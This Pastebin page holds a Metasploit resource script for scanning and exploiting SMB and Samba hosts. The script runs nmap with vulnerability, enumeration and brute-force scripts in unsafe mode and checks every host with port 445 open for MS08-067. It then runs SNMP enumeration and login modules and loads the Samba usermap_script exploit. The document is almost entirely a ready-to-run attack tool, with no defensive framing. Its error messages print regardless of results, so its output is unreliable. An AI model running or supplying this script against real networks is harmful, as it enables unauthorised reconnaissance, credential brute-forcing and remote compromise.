r00t-3xp10it

smb+samba scanner/exploiter (resource file)

Apr 15th, 2015
746
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.64 KB | None | 0 0
  1. <ruby>
  2. print_line("")
  3. print_status("Please wait, checking if RHOSTS is set globally...")
  4. if (framework.datastore['RHOSTS'] == nil)
  5. print_error("[ERROR] Please set RHOSTS globally: setg RHOSTS xxx.xxx.xxx.xxx")
  6. return
  7. end
  8.  
  9. #Using nmap to populate metasploit database
  10. print_good("RHOSTS set globally [ OK ], running scans...")
  11. run_single("nmap -T4 -sU -sS -Pn -O -n -oN smbreport.log --script=samba-vuln-cve-2012-1182,dns-brute.nse,smb-check-vulns.nse,smb-os-discovery.nse,smb-enum-users.nse,smb-enum-shares.nse,smb-brute.nse,ip-geolocation-geoplugin.nse --script-args=unsafe=1 -p U:135,T:137,139,445 #{framework.datastore['RHOSTS']}")
  12.  
  13. #Check for netapi vuln...
  14. print_line("")
  15. print_good("Checking for ms08_067_netapi vuln...")
  16. framework.db.workspace.hosts.each do |host|
  17. host.services.each do |serv|
  18. next if not serv.host
  19. next if (serv.state != ServiceState::Open)
  20. if (serv.name =~ /smb/ or serv.name =~ /microsoft-ds/ or serv.name =~ /netbios/ or serv.port == 445 or serv.port == 139 or serv.port == 137)
  21. if(serv.port == 445)
  22. print_line("")
  23. run_single("use exploit/windows/smb/ms08_067_netapi")
  24. run_single("set RHOST #{host.address}")
  25. run_single("check")
  26. end
  27. print_error("Server does not seems to be vuln...")
  28. end
  29. print_error("Cant Find any open ports...")
  30. end
  31. print_error("Cant find any services or open ports...")
  32. end
  33. print_line("")
  34. print_good("Please wait, running msf auxiliary modules...")
  35. </ruby>
  36.  
  37. use auxiliary/scanner/snmp/snmp_enum
  38. run
  39. use auxiliary/scanner/snmp/snmp_enumusers
  40. run
  41. use auxiliary/scanner/snmp/snmp_enumshares
  42. run
  43. use auxiliary/scanner/snmp/snmp_login
  44. run
  45. use exploit/multi/samba/usermap_script
  46. hosts
  47. services
Advertisement
Add Comment
Please, Sign In to add comment